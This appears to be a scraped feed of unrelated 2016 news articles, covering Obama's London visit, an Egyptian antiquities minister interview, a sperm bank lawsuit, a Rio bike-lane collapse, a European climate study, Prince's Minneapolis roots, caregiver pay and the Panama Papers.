About 140,000 people died directly from the Hiroshima blast or later from severe radiation exposure. The city, a key military installation during the war, was flattened by the massive detonation.

The atomic bombing of Nagasaki followed three days later, killing some 74,000 people. Japan surrendered within a week to end World War II.
The president and the Union Jack President Obama speaks to a town hall meeting with an audience from the U.S. Embassys Young Leaders UK program at Lindley Hall, the Royal Horticultural Society, in London, April 23, 2016. (Matt Dunham/AP)

President Obama plunged into a whirlwind of socializing Friday that began over a birthday lunch with Queen Elizabeth II, and ended with a dinner hosted by the trio of young royals who represent the future of the British monarchy.

Obama, accompanied by his wife, Michelle, arrived by helicopter on the verdant grounds of Windsor Castle, the sprawling, centuries-old royal residence just west of London where the queen celebrated her 90th birthday a day earlier.

A series of royal engagements made up the centerpiece of Obamas three-day valedictory trip to London, which was filled with multiple helicopter lifts and his lengthy motorcade winding its way through the citys narrow streets.

Obama broke up the royal holiday by stopping at 10 Downing St. for private talks with Prime Minister David Cameron about the so-called Islamic State, Afghanistan, Syria, Libya, the global economy, Russias stance toward Ukraine and other issues.

They also discussed Britains possible exit from the European Union, or Brexit, which Obama opposes, as well as the U.S. presidential campaign that will determine Obamas successor.

Obama capped the day with a trip to Kensington Palace, where he and the first lady were invited for dinner with Prince William, his wife, Kate, and his brother, Prince Harry. William is second in line to ascend to the throne after his father, Prince Charles.



Obama on Saturday opened his last full day in London by taking in a performance cribbed from William Shakespeares Hamlet, including portions of the prince of Denmarks famous To be or not to be soliloquy.

The performance was part of Obamas tour of the Globe theater  his way of partaking in the widespread commemorations of the Bard on the 400th anniversary of the playwrights death.

Obama next stop was town hall-style event with young people.



U.S. President Barack Obama implored young British people on Saturday not to pull back from the world, a day after sparking a row by bluntly telling Britain it should remain in the European Union to preserve its remaining global clout.

Speaking to about 550 invited British young people at a town hall event on Saturday, Obama sought to pitch a more optimistic message to young Britons, who are considered to be more pro-European, if less active voters than their parents. (AP)



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By Brendan O'Brien

(Reuters) - A white Ohio woman sued a sperm bank in federal court on Friday for mistakenly giving her, and her white same-sex partner, sperm from an African-American donor, court documents showed.

Jennifer Cramblett of rural Uniontown in northeastern Ohio filed the lawsuit in U.S. District Court in Chicago claiming fraud, misconduct and negligence on the part of Midwest Sperm Bank because of the sperm it used to inseminate her in December 2011, according to the complaint.

Cramblett gave birth to a "beautiful, obviously mixed race, baby" girl on August 21, 2012, after she learned five months beforehand that the sperm bank in Akron, Ohio used sperm from a black donor rather than a white donor as she had requested, court documents showed.

Cramblett "is now facing numerous challenges and external pressures associated with an unplanned transracial parent-child relationship for which she was not, and is not, prepared," the suit said.

The sperm bank was not immediately available for comment.

The lawsuit accuses the sperm bank of failing to follow FDA requirements, misrepresentation and breaching its contract with Cramblett.

Cramblett said in an earlier lawsuit filed in an Illinois court that although she and her partner love the little girl, she is concerned about bringing her up in a white, racially intolerant community, and in a white "often unconsciously insensitive" family.

That lawsuit against the sperm bank based in the Chicago area was dismissed in September, according to local media.

Cramblett said that she and her partner wanted a donor with "genetic traits similar to both of them," and picked one after reviewing his history, the earlier suit said. It also said the mistake was made because the sperm center, which keeps records in pen and ink rather than electronically, misread donor numbers.

Cramblett said in the earlier suit that her family is already uncomfortable with the fact that she is a lesbian, and that she doesn't want her daughter to feel stigmatized due to the circumstances of her birth.

The federal lawsuit demands more than $150,000 in damages.

(Reporting by Brendan O'Brien in Milwaukee; Editing by Frances Kerry)
The recent appointment of Egyptologist Khaled El-Enany as Egypts new minister of antiquities was met with surprise by some archaeologists and curators, especially among employees of the ministry. But his integrity and qualification are widely accepted as impeccable. He completed his doctorate in Egyptology in 2001 at Montpellier III University in France, writing on ancient Egyptian royal names. He began his academic career at the Faculty of Tourism and Hotel Management at Helwan University, where he rose through the ranks.

While at Helwan, El-Enany was director of the Open Learning Centre, head of the Tourism Guidance Department, vice-dean for Education and Student Affairs and a professor of Egyptology. He is also an associate scientific expert and member of the board of administration at the French Institute of Oriental Archaeology in Cairo (IFAO) and a visiting professor at Montpellier III. He has lectured in France and Switzerland.

In October 2014, he was appointed director-general of the National Museum of Egyptian Civilisation (NMEC) at Fustat in Cairo, where he spruced up the museums construction. Within the next six months a temporary exhibition hall is to be inaugurated displaying a collection of the NMECs permanent collection of treasured artefacts. A year later, he was appointed supervisor-general of the Egyptian Museum in Tahrir Square in parallel with directing the NMEC. In October 2015, the French government awarded El-Enany the Chevalier (knight) of the Order of Arts and Literature for his achievements in archaeological studies and his efforts to preserve Egypts heritage and create a strong bridge of cooperation between Egypt and France in the field of archaeology.

Some consider El-Enany to be too young for the post of minister and see him as an outsider, but archaeologists feel that his track record will allow him to manage Egypts antiquities portfolio more efficiently, as well as develop plans to attract more tourists to Egypt. They also say that his relative youth will make him more reactive and swift in his work. In this they may be right. Since taking the post, El-Enany embarked on inspection tours of different archaeological sites, such as the Museum of Islamic Art and the Grand Egyptian Museum (GEM), the Giza Plateau and Khufus second solar boat.

El-Enany also travelled south where he visited the Karnak and Luxor Temples in Luxor, the Deir Al-Madina necropolis on Luxors west bank, Al-Tod, Qift, Armant, Esna, Edfu, Kom Ombo, Aswan and Elephantine Island. Still on his agenda are several sites, among them Al-Qantara East, Ismailia, Rosetta, Fuwa, Damietta and the Abu Mina Monastery.

I started my term as minister of antiquities by visiting as many archaeological sites as I can in Egypt in order to inspect them with my own eyes because field visits are much better than reading reports in the office, El-Enany told the Weekly in his interview this week. However suited to the job, Al-Enany will have no easy task in his new office, since budgetary problems are likely to prevent work from being completed, be it the construction of new museums or the development of existing ones.

Since 2011 when the ministry was formed, several archaeological projects have been put on hold, including the construction of the GEM and the NMEC, as well as the development of the Giza Plateau itself. The Museum of Islamic Art and the National Malawi Museums were subjected to destruction in 2014. Another pressing issue has been the breakdown of security since the 25 January Revolution, allowing encroachment on and in some cases the destruction of sites and monuments, as well as incidents of looting and smuggling. Although work was executed during the two-year tenure of former minister of antiquities Mamdouh Eldamaty, more work and projects are still waiting. El-Enany seems remarkably upbeat for a man bearing such a large burden, and he confidently vows to improve both the ministrys infrastructure and personnel.

Although he has a very busy schedule, Al-Ahram Weekly was able to interview El-Enany on the steps of Tutankhamuns Tomb in the Valley of the Kings after the completion of the radar-scanning of the boy kings burial chamber to test the theory launched last August by British Egyptologist Nicholas Reeves who claims that the burial place of queen Nefertiti is hidden inside the tomb of her son-in-law Tutankhamun.

El-Enany spoke about the radar survey on Tutankhamuns burial chamber and his vision and action plan to properly preserve Egypts antiquities for the future and upgrade the skills of ministry staff, sprucing up efforts to resume those archaeological projects now on hold.

El-Enany believes in continuing what his predecessors have started, as the post does not suggest one should start from scratch, he says, or erase previous efforts. Rather, the aim must be to build on what has been done thus far.

Concerning the radar survey of Tutankhamuns burial chamber, El-Enany announced that the scans have given data and indications, but we cannot announce the results right now because it requires more study to achieve accurate and concrete results. He noted that some seven days were still needed for all the data to be analysed by a US-Egypt geophysics team.

We have indications, but I want to highlight that we are not looking for a hidden chamber. We are testing a scientific hypothesis, El-Enany told the Weekly, adding that we are keen on science and exploring the truth.

In August when Reeves suggested that there was something concealed behind the west and north walls of Tutankhamuns burial chamber, the ministry had two choices. Either it could ignore his claims and close the subject, or it could carry out a radar survey of the tomb. The ministry, El-Enany said, had selected the second choice and authorised two radar surveys.

I did not participate in the previous radar survey, as I was not a member of the scientific committee that carried out the survey, but today as minister of antiquities I am attending the survey in order to follow up on the situation, to review the project, and to study its different parts in detail, El-Enany told the Weekly.

He said that a third radar scan was to be held at the end of April to scan Tutankhamuns burial chamber vertically from the Valley of the Kings bedrock. An international scientific discussion is to be held on 6 May during a conference held at the GEM that scholars from all over the globe will attend.

The discussion will aim to find the best solution to how to deal with the results of the three radar surveys and how to explore a newly discovered chamber if studies prove its existence beyond doubt. Al-Enany pointed out that the results of the project couldnt be announced after the radar survey he had attended that day. I have to listen first, review the whole project in detail, and study all its parts in order to find the result, El-Enany said.

He said that when taking up Egypts antiquities portfolio last week, he knew that a visit to Luxor was planned on Thursday with a radar survey by an American expert in collaboration with an Egyptian team. Due to his belief in the work of associations in the country, he had been keen to continue the project as long as it was worthy of past work in antiquities and archaeology, he explained.

The project has to be efficiently evaluated, and anything worthy of the great tradition of antiquities in this country we will go ahead with. But anything that could do harm for reasons of frivolity will be stopped immediately, El-Enany asserted. I am not talking about the Tutankhamun Tomb re-exploration project as such. That goes for other projects as well. Due to my eagerness for scientific credibility, the project will be studied and the results announced when they are ready, El-Enany said.

No one can touch the paintings in Tutankhamuns Tomb, and the suggestion to use a tiny camera to probe a one-inch hole from the treasury room of Tutankahmuns Tomb, which has no paintings in it, to explore what lies behind the north and west walls, is just a suggestion. If the surveys prove 100 per cent that there is something to find behind the north wall, the scientific discussion in May will provide the best solution to how to do it. Although the exploratory mission has the approval of the ministrys permanent committee, I dont want to get ahead of events, El-Enany said.

Working with foreign missions: Helping junior Egyptian archaeologists and curators to develop their skills is another goal that El-Enany vows he will work hard to achieve through the establishment of workshops on research methodology in Egyptology as well as sending archaeologists for training abroad.

Regretfully, due to the lack of budgetary means the ministry has not been able to send archaeologists abroad for training recently, but El-Enany has called on all foreign archaeological missions working in Egypt to train junior Egyptian archaeologists and curators in different archaeological sessions.

Preserving Egypts heritage is the goal of the ministry of antiquities, as well as of the foreign archaeological missions, and training Egyptian archaeologists and curators to be up to international standards is a mean of preserving the antiquities, El-Enany argued. We are not coercing foreign missions to do so, but we are sending out an appeal to them within the framework of our cooperation in the archaeological field, El-Enany said. He added that to regulate the training process, the ministry would insert some such article in foreign mission application forms.

I have not met any of the foreign missions yet, but I will ask them very soon, he told the Weekly, adding that he would also ask them to provide guidebooks in English, French and Arabic for every site they were working on. He would also be reviewing the Supreme Council of Antiquities Regulations for Foreign Archaeological Missions, created in 2002, in order to put them into effect again after years of being put on hold, he said.

My dream is to establish concrete cooperation between the Ministry of Antiquities and the foreign missions in order to work together to preserve Egypts archaeological heritage, El-Enany said.

Developing archaeological sites to be more tourist-friendly is another goal of Al-Enany, who wants to start such developments by installing signboards at every site and museum in Egypt according to a timeline starting with the most frequently visited sites.

I have already started such developments at the Egyptian Museum in Tahrir Square, and within 15 days signboards will be erected in English, Arabic and French there for tourists, El-Enany asserted. He explained that the boards would not only include details of a site or a museum, along with the opening and closing hours and ticket prices, but would also include information telling visitors how to preserve the site or museum by not touching artefacts, not disfiguring the monuments by writing on them or breaking parts of them, and keeping the places clean and not throwing papers or empty bottles on the floor.

Raising archaeological awareness among people, especially children, is one of my top priorities, El-Enany asserted, describing this as a must in order to nourish childrens loyalty towards their country, Egypt. Such awareness could be achieved, he explained, through opening all archeological sites and museums in Egypt free of charge to Egyptian school pupils. A curator or an inspector, he went on, could guide them around the museums halls and sections of archaeological sites in order to explain how the ancient Egyptians built Egypts civilisation.

I have talked to the minister of education about such a project, and he was very enthusiastic and promised to send an official circular out to all schools in order to encourage excursions to museums and sites, El-Enany told the Weekly.

On prime minister Sherif Ismails directions, El-Enany is also working in collaboration with the ministries of tourism, civil aviation and investment in order to think outside the box on providing the means to improve the infrastructure at Egypts archaeological sites and tourist destinations to encourage tourism and attract investment to the country.

The infrastructure, said El-Enany, meant security measures, monitoring cameras, lighting systems, signboards, guidebooks, and raising archaeological awareness among the countrys population. He went on by saying that he was to meet the minister of civil aviation soon, but they had already agreed to develop a documentary for screening on Egyptair flights. A private company, El-Enany said, had offered to do it free of charge. Horus, the Egyptair magazine, is also to be developed in order to promote tourism to Egypt.

The ministry of tourism was helping, Al-Enany said, in upgrading the services provided at archaeological sites such as through the Giza Plateau Development Project. According to a government statement, El-Enany has also promised to officially open several sites and museums in April and May. The first is the re-opening of the Museum of Islamic Art in Cairo two years after it was destroyed by a powerful car bomb that exploded outside the adjacent Security Directorate.

The restoration and opening of the Museum of Islamic Art embodies the collaboration efforts exerted on the local and international levels to stand against any kind of terrorism that aims to erase Egypts identity and civilisation, Al-Enany said, adding that re-opening the Museum was a very important message that Egypt was delivering against terrorism. If terrorism tries to destroy the country, we will build it up again, he said.

More sites to open: The Edfu Temple is to be opened in mid-April after the completion of the USAID project to reduce the level of the subterranean water inside the temple. The Elephantine Island Museum in Aswan is to be re-inaugurated next year after five years of restoration, and the opening ceremony will mark the museums centenary. The Baybars Mosque opened in Qaloubiya, as well as four mosques in Fuwah are to be officially inaugurated. A soft opening of the NMEC is to be held this year, which include the opening of a hall for temporary exhibitions where artefacts from the museums permanent collection will be shown and changed every three months. The official opening of the NMEC is scheduled for the end of 2017.

A soft opening of the GEM is to be held in mid-2018, with the complete opening scheduled for 2022. The ministry, el-Enany said, had not decreased the budget of the GEM, but was trying hard to decrease the cost by, for example, buying local materials instead of imported ones if they still met requirements. The planned design of the GEM will not be changed as has been rumoured, he said.

The government was helping in the construction of the GEM, El-Enany said, and measures were in place in order to borrow $482 million to complete the GEMs construction. El-Enany has not announced the source of this loan, but he said he would be announcing it soon.

Plugging the hole in the ministrys finances is our top priority, because when funds are available projects that were put on hold can be resumed, El-Enany told the Weekly, adding that Ismail had asked him to look for unconventional ways of financing. I think that this could be achieved through the planned investment and management of services at archaeological sites, El-Enany suggested.

He said that a private-sector company had been contracted to help manage the services provided at archaeological sites and museums across Egypt, including shops, cafeterias and restaurants. It also aims to establish a new production unit to make and sell replicas of ancient items. The company will not manage the archaeological sites or museums, as has been rumoured, he said, but would only manage the touristic aspects of the sites in order to upgrade the level of services provided, which in turn would increase the ministrys income.

The company would be affiliated to the ministry, and the establishment of such a company was not something new. The Sound and Light Company at the Giza Plateau was another example of a similar idea.I will not change any of the ministrys officials right now, because if I do so it would be only for the sake of change and this in my opinion would be wrong, El-Enany told the Weekly, adding that he would work with all the ministrys officials though he would also be on the look-out for inefficiency.I will not change any policy at the ministry unless it is not coping well with the work, El-Enany said. He added that he had appointed Mahrous Said, director of the Nubia Antiquities Fund (NAF), to supervise the NMEC. Said was involved in the project as the NAF was the financer of the NMEC construction work and he was also an engineer on the project, Al-Enany said.He said he had also appointed curator Somaya Abdel-Salam to take care of the Tahrir Museum until the appointment of a permanent director. Abdel-Salam, El-Enany said, was very suitable because she had worked in the museum throughout her professional life and knew every inch of it.I would never flatter any foreigner, whatever his nationality, or any Egyptian to the detriment of Egypts antiquities, El-Enany added, saying that on the contrary he would use his good friendships with the French and other foreigners to do more for Egypts heritage.

My dream is to improve every archaeological site in Egypt, El-Enany told the Weekly, something that could be achieved through better site-management policies. I have other ideas in mind, and I will work hard to implement them in order to protect and preserve Egypts heritage.

This Article was originally published in Al-Ahram Weekly newspaper
(Adds TV, company that built bike lane, comment from mayor's office) RIO DE JANEIRO, April 21 (Reuters) - At least two people were killed on Thursday when part of a new cycle lane collapsed into the ocean in the Olympic city of Rio de Janeiro, the city's fire department said. Officers from two fire stations and an airborne operations team were called into action on Thursday morning after several cyclists fell into the sea, a fire official said. "The structure collapsed and two male bodies were rescued from the sea. The search operation is still under way," he said in a phone interview. The 50-meter long lane that collapsed skirted the Atlantic coast. It was part of a more than 3 kilometer-long cycle lane opened in January in an urban regeneration project to spruce up the city for the Olympiad from Aug. 5-21. The incident occurred just hours after the Olympic torch was lit in Greece, from where it journeys to Brazil. Rio de Janeiro's mayor Eduardo Paes is returning to Brazil from the torch lighting ceremony to follow an investigation of the incident, his office said, calling the collapse "unpardonable." A spokeswoman for Concremat, the company that built the bike lane through its consortium Contemat-Concrejato, said it had a technical team evaluating the causes of the accident and attending to the victims' families. The company was founded by Mauro Ribeiro Viegas, who several local newspapers said was grandfather of the city of Rio de Janeiro's secretary of tourism Antonio Pedro Viegas Figueira de Mello. Video footage shot by Rio residents and posted online showed massive waves crashing up the sea wall and into the new structure. Rio will be the first South American city ever to host the Olympics but is struggling with its biggest recession in almost a century and a political crisis that could lead to the ouster of the president. (Reporting by Andrew Downie and Caroline Stauffer; Editing by Richard Chang)
Vienna (AFP) - By mid-century, pockets of southern Europe will face at least one severe climate hazard every year of the scale now occurring only once a century, according to a new study.

And by 2100, Europe's entire Mediterranean seaboard will be confronted annually with extreme droughts, coastal floods or heatwaves, said the study, published this week in the journal Climatic Changes.

Some hotspots will be hit every year by two or more such formerly one-in-hundred-year hazards, which also include wildfires, river floods and windstorms, the researchers found.

"This should be a warning to governments and institutions tasked with preparing solutions and adaptation strategies," said lead author Giovanni Forzieri, a scientist at the European Commission's Institute for Environment and Sustainability in Ispra, Italy.

The projections, he said, were based on climate models which assume Earth's surface temperatures will rise by about two degrees Celsius (3.6 degrees Fahrenheit) above the pre-Industrial Era benchmark by mid-century.

This is roughly half-way between the most optimistic and most pessimistic scenarios for how quickly humanity will be able to curb the greenhouse gases driving dangerous global warming.

The world's first global climate pact -- forged in Paris in December and signed on Friday by more than 170 countries at the United Nations in New York -- calls for capping temperatures at "well below 2 C".

But scientists say that at current rates of fossil fuel consumption, Earth may be on track for an increase of 4 C, or higher.

To date, studies projecting the frequency of future climate hazards have looked at them by category, such as flood or drought.

There was no "comprehensive picture on how multiple climate extremes will evolve during the 21st century," Forzieri told AFP at a meeting of the European Geosciences Union in Vienna, where he presented the findings.

- 'Double threat' -

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Part of the problem is simply the different yardsticks used to measure each threat: temperature for heatwaves, water depth or area affected for floods, time periods for drought.

Working with a dozen specialists from research centres across the continent, Forzieri and a team created a unified "climate hazard index".

Heatwaves and drought are the biggest threats, with coastal flooding and wildfires also a serious concern, the data showed.

Spain, Turkey, Italy and southern France are the countries set to face the highest concentration of potential disasters.

"In Spain, you will see at least two hazards every year by 2080 that -- in the current climate -- only show up once in 100 years," said Forzieri.

Northern Europe, he pointed out, may benefit from global warming, especially in the second half of the century, due to longer growing seasons.

The study focused on the size and frequency of natural hazards, but does not measure the risk to human societies.

Risk also takes into account the exposure of people and property, and how well prepared countries are to cope with natural calamities.
During the two years I spent researching and compiling Purple Snow: Forecasting The Minneapolis Sound, Prince was everywhere and he was nowhere.

He moved through the Twin Cities like an apparition, a being you might encounter after taking a hit of DMT or getting a concussion. In a metropolis responsible for very few household names, Prince was constantly felt, if rarely seen. Legend of two individuals named Prince were kept alive through local folklore; the old-timers spoke of a quiet-but-confident guitar wunderkind named Prince Nelson who fled the Gopher State to become the guy everyone else knew: Prince. Just Prince.

The story of the Minneapolis Sound begins in a much different place than it ends. In the mid-70s, marginalized funk-rock combos with robust horn sections dominated show bills on the city's predominately Black Northside. St. Paul's Purple Haze used equal parts Marshall Stack and timbale to set a psychedelic soul precedent embellished upon by Prophets of Peace, the Family, and Flyte Tyme.

The Magic of Prince's Early Tours: 'You Weren't Ready for How Good He Was'

By his senior year of high school, in 1976, Prince's scrappy ensemble Grand Central was a dark horse at community centers and Battle of the Bands events, a perennial bronze medalist. Jimmy Jam Harris's Mind & Matter had already scrapped the horn section for a twin-keyboard attack, and the Family's Pierre Lewis was flossing the latest synthesizers, upgrading as newer, flashier pieces arrived at Roger Dodger Music. Prince would borrow one such Arp to craft the demo for "Soft & Wet" during a prolific apprenticeship at Moonsound Studios. The studio became his stage. Prince would continue to incorporate the best parts of the Twin Cities burgeoning sound to concoct his own musical identity. All the pieces were scattered around Hennepin County, but it was the way that Prince combined them (or omitted them) that made him Prince.

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A Chicago resident with North Carolina plates, I was by all accounts an outsider. A foreign-born Minneapolis Sound missionary with the nerve to knock on strangers doors during the playoffs to ask if they had unreleased Alexander O'Neal demos or easy access to their yearbooks. But while my icebreakers about Minnesota winters and Kirby Puckett were met mostly with eye rolls, the mention of Prince could warm the frostiest Vikings fans, fetching an otherwise boring story about the Purple One spotted on a beach cruiser at Lake Calhoun, delivered with such grandeur it could have been simulcast on A Prairie Home Companion. But I was there to tell my own story.

Prince Was a Teenage Hired Gun on 'Stone Lover,' His First Release

I conceived of Purple Snow, not so much out of a fascination for Prince, but out of admiration for all of the incredible musicians of color (and a few progressive Caucasians) who helped engineer a creative ecosystem in which an artist like Prince could even occur. Through tireless research and liquor house canvassing, I hoped to illuminate the community in such a way that Prince would be cast in glorious silhouette against a backdrop of talented bandmates, former classmates, and assorted visionary introverts.

Prince was a private person with very calculated methods of disseminating (likewise, withholding) biographical information. Only by tagging along with 94 East to a December 1975 recording session -- likewise with the Lewis Connection in 1976 -- did Prince Nelson appear along side fellow members of Local 30-73 in the grooves of Purple Snow.

There is no Minneapolis Sound without Prince, but there is no Prince without Minneapolis.

The Time Prince Got Mad At Me Because I Wouldn't Dance

Purple Snow seemed a paradoxical way to celebrate Prince's regional impact, to honor him by nearly omitting him. This was until we exchanged emails with the web masters of Prince ticket stub sites, encountered bootleggers who dealt exclusively in audience recordings, and rode to Bloomington, Minn. with a woman who'd leased a safety deposit box dedicated solely to a trio photographs she'd taken of Prince in 1974.

We came to discover that every Prince fan harbors a complicated love for their dearly beloved, each trying to channel their enthusiasm in their own weird way. As time passes, things will get better in the Land of 10,000 Lakes, but they will never be the same.

Jonathan Kirby does A&R / research and development at The Numero Group.
A third of U.S. adults with a parent age 75 or older say their mom or dad needs help with self-care or managing personal affairs, according to a 2014 Pew Research Center Report. While home health care and assisted living facilities are common ways to meet those parents' needs, it's also not unusual for adult children to step into the role of a caregiver.

Although most children provide care as a labor of love, there is no doubt it can take a toll. Caregivers may have to take time off work, pay bills for parents or sacrifice valuable personal time. To compensate, some people might be wondering if it's possible to be paid for their help.

The answer can be yes, but it's not guaranteed. "A lot of it depends on the type of program you're applying for," says Andy Smith, executive vice president of investments at The Mutual Fund Store and A Place for Mom advisory board member. Those programs may fall into one of the following four options.

[See: 10 Things You Need to Know About Medicare.]

Medicaid. Medicaid may be the mostly likely place family caregivers will find financial relief. Parents must first qualify for the government program, and Ginalisa Monterroso, CEO of Medicaid Advisory Group, says adult children shouldn't rule out the possibility. "A lot of people don't understand there are many ways people can become eligible for Medicaid," she says.

For eligible seniors, Medicaid will often pay for in-home care, and it may be possible for payments to go to a family caregiver instead of a hired home health worker. Currently, 15 states have cash and counseling programs that give Medicaid recipients a budget they can use to pay for expenses, including family caregivers.

Since Medicaid is administered by the states, the process for becoming eligible for these payments can vary. In New York, where Monterroso works with clients, family caregivers don't have to be certified as home health aides, but they do need to register with a health care agency that will provide payroll services for their payments.

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Kimberly Walker, a New York city resident who used Medicaid Advisory Group for help with her mother's Medicaid, is quick to say the application process can be arduous. "When my mom was diagnosed [with dementia], I took six weeks of family leave to get her [settled and] on Medicaid," she says. Two days after Walker returned to work, her mother's eligibility was reversed. After that, she didn't balk at paying several thousand dollars for help from an outside party. Medicaid Advisory Group was able to secure approval for 24-hour care for her mother, making the fee "worth every single penny."

Long-term care insurance. Even with help from a third party, some people may never be eligible for Medicaid. In those cases, long-term care insurance may be an option, although there is a catch. Relatively few long-term care policies include provisions for family caregiver payments. "Typically, the older the policy, the better it was for the people buying it," Smith says. That means older seniors who bought policies when they were first marketed may have the best chance of securing payments for a family caregiver. However, the only way to know for sure is to contact the company or insurance agent who sold the policy to learn the coverage details.

[Quiz: Test Your Medicare Knowledge.]

Tax incentives. While not the same as a direct payment, tax incentives may be another way family caregivers can recoup their costs. Adult children younger than age 65 who care for their parents can deduct the cost of qualified medical expenses and mileage that exceed 10 percent of their adjusted gross income. The deduction can only be made if a person itemizes their deductions, and that makes tax savings unrealistic for some families, says Marc Minker, a tax practice leader at CBIZ MHM in New York city. "While [the expenses] are 'quote unquote' deductible, it's questionable if you get any benefit," he says. Even with medical expenses, some taxpayers find they are better off taking a standard deduction instead.

Some lawmakers are hoping to expand tax incentives, and a bipartisan bill, known as the Credit for Caring Act, was introduced last month to provide up to a $3,000 tax credit for family caregivers. It remains to be seen whether the act, backed by AARP, will be signed into law.

Rather than wait for a future tax credit, Minker suggests adult children work with an accountant to explore more novel strategies that could save money. For example, an adult child might find it makes sense to gift income-producing assets to a senior parent. The parent could pay the child for caregiving out of that income, but it would be taxed at a lower rate. Having an income might also make a parent eligible for the Tax Credit for the Elderly. "It's not without danger," Minker says. Children who are gifting assets to a parent might want to get a written agreement outlining what payments are to be made for caregiving and how those assets will be handled within estate planning documents.

[Read: Tax Breaks for People Over 50.]

Workplace benefits. Smith says many people overlook the possibility of payments through their workplace. "A lot of employers offer elder care assistance within their benefits plan," he says. Larger companies, in particular, may use elder care programs to attract and retain top talent.

Family caregivers who are looking for more resources to support them both financially and emotionally, can visit the National Council on Aging website, BenefitsCheckUp.org or search for local services.
Pakistan's Prime Minister Nawaz Sharif on Friday pledged to resign if a probe related to the Panama Papers tax scandal found his family had committed any wrongdoing.

Three of Sharif's children were named in a vast leak of documents from Panama-based law firm Mossack Fonseca this month that has revealed how the wealthy hide their money.

The premier has announced a probe into the revelations contained in the Panama Papers, which claim his children owned London property through an offshore company.

His daughter, Maryam, who has been tipped to be his political successor, was named along with his sons Hasan and Hussain.

Sharif defended his family on television Friday, saying the claims had been investigated twice, decades ago, under the tenure former military ruler Pervez Musharraf.

He also pledged to create a new judicial commission headed by a retired judge to investigate the allegations, after his first proposal was rejected by lawmakers.

"If the allegations levelled against me any my family members are proved, I will resign without any delay," he said.

"I hereby announce (I will) write to the chief justice, asking him to lead the judicial commission, which will investigate revelations made in the Panama Papers."

Allegations of corruption are particularly sensitive for Pakistan's government, which is receiving a $6.6 billion bailout package from the IMF.

Sharif has come under pressure over the claims, and last week a member of the public called him "useless" and put him up for sale on eBay -- with bids soaring to more than $90,000.

The post, which went viral in Pakistan, promised to throw in Sharif's brother Shahbaz, the current governor of Punjab province, for free.
PANAMA CITY (Reuters) - Panamanian investigators on Friday raided a property used by Mossack Fonseca, the law firm at the center of a massive leak of offshore financial data, removing bags full of shredded documents as evidence, a local prosecutor said. "We have secured a large amount of evidence found in the location," said organized crime investigator Javier Caraballo. He said they also found many shredded papers, which they removed as evidence. Leaks from the Panama-based law firm, dubbed the "Panama Papers," have embarrassed several world leaders and shone a spotlight on the shadowy world of offshore companies. Mossack Fonseca, which specializes in setting up offshore companies, has said it broke no laws, destroyed no documents, and all its operations were legal. Governments across the world have begun investigating possible financial wrongdoing by the rich and powerful after the leak of more than 11.5 million documents from the firm. The papers have revealed financial arrangements of prominent figures, including friends of Russian President Vladimir Putin, relatives of the prime ministers of Britain and Pakistan and of China's President Xi Jinping, and the president of Ukraine. (Reporting by Elida Moreno; Editing by Sandra Maler)
By Estelle Shirbon and David Milliken LONDON (Reuters) - U.S. President Barack Obama told Britons on Friday he loved Winston Churchill, rebuffing suggestions that he had disrespected the wartime leader because of a grudge against Britain linked to his Kenyan ancestry. Obama was visiting London to press Britons to vote to stay in the European Union, and the Churchill issue arose after London Mayor Boris Johnson, who is campaigning for an "Out" vote, brought it up in an article criticizing Obama. "I love Winston Churchill, I love the guy," Obama said when asked at a news conference about Johnson's article. "Right outside the door of the Treaty Room, so that I see it every day, including on weekends when I'm going into that office to watch a basketball game, the primary image I see is a bust of Winston Churchill," said Obama, referring to his private office on the second floor of the White House. "It's there voluntarily because I can do anything on the second floor," he said, standing alongside Prime Minister David Cameron, who is leading the "In" campaign. Obama did not name Johnson, but his remarks were a humiliating put-down for a man who is widely touted as a potential successor to Cameron, especially if voters do opt to leave the EU in a June referendum. Johnson was accused of racist undertones by an opposition Labour politician over the opening paragraphs of an article he wrote in the Sun newspaper criticizing Obama's stance on the EU. In the passage, Johnson speculated about the reasons for the removal of a bust of Churchill from the Oval Office in 2009, during the early days of Obama's presidency. "Some said it was a snub to Britain. Some said it was a symbol of the part-Kenyan president's ancestral dislike of the British Empire, of which Churchill had been such a fervent defender," Johnson wrote in the mass-market Sun tabloid. "APPALLING" Obama's father was Kenyan but the president does not hold Kenyan citizenship and has never lived in Kenya. Johnson is not the first political opponent of Obama to try to make capital out of his family background. U.S. Republicans have done so for years, and the front-runner to win the party's nomination for this year's presidential race, Donald Trump, has been doing so during the campaign. Johnson's comment drew criticism from across the political spectrum in Britain, including from Conservative lawmaker Nicholas Soames, Churchill's grandson, who called Johnson's article "appalling" and "wrong on almost everything". "Inconceivable WSC (Churchill) would not have welcomed President's views," said Soames, who favors remaining in the European Union. John McDonnell, the opposition Labour Party's finance policy chief who also favors an "In" vote in the referendum, said Johnson's comments contained an underlying hint of racism. "Mask slips again. Boris part-Kenyan Obama comment is yet another example of dog-whistle racism from senior Tories (Conservatives). He should withdraw it." Asked during his news conference with Cameron to react to Johnson's article, Obama drew laughs from reporters when he replied: "Let me start with Winston Churchill." He said his predecessor, George W. Bush, had kept a second bust of Churchill in the White House, this one in the Oval Office, but Obama had removed it to make space for one of Martin Luther King. "I thought ... that as the first African American president it might be appropriate to have a bust of Dr Martin Luther King in my office to remind me of all the hard work of a lot of people who would somehow allow me to have the privilege of holding this office." Johnson responded to the criticism of his article by British politicians by saying he was "a big fan" of Obama. In a statement sent by a spokesman, Johnson said the issue was the "weird paradox" of the president of a country that jealously guards its sovereignty urging Britain to surrender some of it by embedding itself further in the EU. (Writing by Estelle Shirbon and David Milliken; editing by Guy Faulconbridge)
The Golden Pharaohs and Pyramids exhibition was inaugurated on Thursday at Sendai City Museum in Japan

The Golden Pharaohs and Pyramids: The Treasures from the Egyptian Museum, Cairo is a special touring exhibition visiting several cities in Japan.

It started in October last year in Tokyo, then went to Matsuyama, and the third leg of the exhibition is Sendai.

Elham Salah, head of the museums sector at the Ministry of Antiquities, told Ahram Online that the tour will last for 25 months and includes 120 artifacts from the Old Kingdom era and the pyramid-builders period.

The objects were carefully selected from the Egyptian Museum in Tahrir and include the Golden Mask of King Amenemope, one of the three great golden masks of ancient Egypt, as well as a statue of King Khafre statue and a group of statues of servants, workers, beer- and bread-makers. A collection of scarabs and amulets are also on display, as are ancient Egyptian board games.

This is the first ancient Egyptian exhibition to tour several cities in Japan after a three-year hiatus. The last touring exhibition sent to Japan was in 2012, entitled 'Tutankhamun: The Golden Age of the Pharaohs', Salah pointed out.

The exhibition is on show at the Sendai City Museum which features historical and cultural artifacts as well as arts and crafts from the Sendai area, which range in age from the Stone Age to modern times.

